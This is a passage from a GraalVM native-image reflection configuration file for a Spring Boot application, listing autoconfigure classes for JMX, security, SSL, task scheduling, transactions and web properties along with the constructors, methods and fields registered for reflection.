\"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.jmx.JmxProperties\"] }, {\"name\":\"mbeanExporter\",\"parameterTypes\":[\"org.springframework.jmx.export.naming.ObjectNamingStrategy\",\"org.springframework.beans.factory.BeanFactory\"] }, {\"name\":\"mbeanServer\",\"parameterTypes\":[] }, {\"name\":\"objectNamingStrategy\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jmx.JmxProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setEnabled\",\"parameterTypes\":[\"boolean\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jmx.ParentAwareNamingStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getObjectName\",\"parameterTypes\":[\"java.lang.Object\",\"java.lang.String\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jooq.NoDslContextBeanFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.beans.factory.BeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.jsonb.JsonbAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ldap.LdapAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.logging.ConditionEvaluationReportLoggingListener\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.logging.ConditionEvaluationReportLoggingProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.mustache.MustacheTemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.netty.NettyAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.netty.NettyProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.netty.NettyProperties$LeakDetection\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.quartz.SchedulerDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.r2dbc.ConnectionFactoryBeanCreationFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.core.env.Environment\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.r2dbc.MissingR2dbcPoolDependencyFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.r2dbc.MultipleConnectionPoolConfigurationsFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.r2dbc.NoConnectionFactoryBeanFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.ConditionalOnDefaultWebSecurity\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.DefaultWebSecurityCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.SecurityDataConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.SecurityProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.SecurityProperties$Filter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.SecurityProperties$User\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.reactive.ReactiveUserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.reactive.ReactiveUserDetailsServiceAutoConfiguration$RSocketEnabledOrReactiveWebApplication\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.AntPathRequestMatcherProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getRequestMatcher\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.RequestMatcherProvider\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.SecurityAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"authenticationEventPublisher\",\"parameterTypes\":[\"org.springframework.context.ApplicationEventPublisher\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.SecurityFilterAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"securityFilterChainRegistration\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.security.SecurityProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.SpringBootWebSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.SpringBootWebSecurityConfiguration$WebSecurityEnablerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.UserDetailsServiceAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.security.servlet.UserDetailsServiceAutoConfiguration$MissingAlternativeOrUserPropertiesConfigured\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.service.connection.ConnectionDetails\",\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.session.JdbcIndexedSessionRepositoryDependsOnDatabaseInitializationDetector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.DataSourceInitializationConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"dataSourceScriptDatabaseInitializer\",\"parameterTypes\":[\"javax.sql.DataSource\",\"org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.R2dbcInitializationConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlDataSourceScriptDatabaseInitializer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration$SqlInitializationModeCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setPlatform\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlInitializationScriptsRuntimeHints\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.sql.init.SqlR2dbcScriptDatabaseInitializer\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.BundleContentNotWatchableFailureAnalyzer\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.FileWatcher\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.JksSslBundleProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.JksSslBundleProperties$Store\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.PemSslBundleProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.PemSslBundleProperties$Store\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.ssl.SslProperties\"] }, {\"name\":\"fileWatcher\",\"parameterTypes\":[] }, {\"name\":\"sslBundleRegistry\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"sslPropertiesSslBundleRegistrar\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.ssl.FileWatcher\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslBundleProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslBundleProperties$Key\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslBundleProperties$Options\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslBundleRegistrar\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslProperties$Bundles\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslProperties$Bundles$Watch\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslProperties$Bundles$Watch$File\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslPropertiesBundleRegistrar\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"registerBundles\",\"parameterTypes\":[\"org.springframework.boot.ssl.SslBundleRegistry\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.ssl.SslPropertiesBundleRegistrar$Bundle\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.ScheduledBeanLazyInitializationExcludeFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"isExcluded\",\"parameterTypes\":[\"java.lang.String\",\"org.springframework.beans.factory.config.BeanDefinition\",\"java.lang.Class\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties$Pool\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties$Pool$Shutdown\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties$Shutdown\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties$Simple\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutorConfigurations\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutorConfigurations$SimpleAsyncTaskExecutorBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"simpleAsyncTaskExecutorBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutorConfigurations$TaskExecutorBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"taskExecutorBuilder\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutorConfigurations$TaskExecutorConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"applicationTaskExecutor\",\"parameterTypes\":[\"org.springframework.boot.task.TaskExecutorBuilder\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskExecutorConfigurations$ThreadPoolTaskExecutorBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"threadPoolTaskExecutorBuilder\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskExecutionProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"scheduledBeanLazyInitializationExcludeFilter\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingConfigurations\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingConfigurations$SimpleAsyncTaskSchedulerBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"simpleAsyncTaskSchedulerBuilder\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingConfigurations$TaskSchedulerBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"taskSchedulerBuilder\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingConfigurations$TaskSchedulerConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"taskScheduler\",\"parameterTypes\":[\"org.springframework.boot.task.TaskSchedulerBuilder\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingConfigurations$ThreadPoolTaskSchedulerBuilderConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"threadPoolTaskSchedulerBuilder\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties$Pool\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties$Shutdown\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.task.TaskSchedulingProperties$Simple\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.template.TemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.template.TemplateRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.thread.Threading\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.thymeleaf.ThymeleafTemplateAvailabilityProvider\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.ExecutionListenersTransactionManagerCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.transaction.TransactionManager\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$EnableTransactionManagementConfiguration$CglibAutoProxyConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionAutoConfiguration$TransactionTemplateConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"transactionTemplate\",\"parameterTypes\":[\"org.springframework.transaction.PlatformTransactionManager\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionManagerCustomizationAutoConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"platformTransactionManagerCustomizers\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"transactionExecutionListeners\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionManagerCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionManagerCustomizers\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.transaction.TransactionProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"customize\",\"parameterTypes\":[\"org.springframework.transaction.TransactionManager\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.validation.ValidationAutoConfiguration\"\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ConditionalOnEnabledResourceChain\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ErrorProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"setIncludeMessage\",\"parameterTypes\":[\"org.springframework.boot.autoconfigure.web.ErrorProperties$IncludeAttribute\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ErrorProperties$IncludeAttribute\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ErrorProperties$Whitelabel\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.OnEnabledResourceChainCondition\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getError\",\"parameterTypes\":[] }, {\"name\":\"getServlet\",\"parameterTypes\":[] }, {\"name\":\"getTomcat\",\"parameterTypes\":[] }, {\"name\":\"setPort\",\"parameterTypes\":[\"java.lang.Integer\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.autoconfigure.web.ServerProperties$ForwardHeadersStrategy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  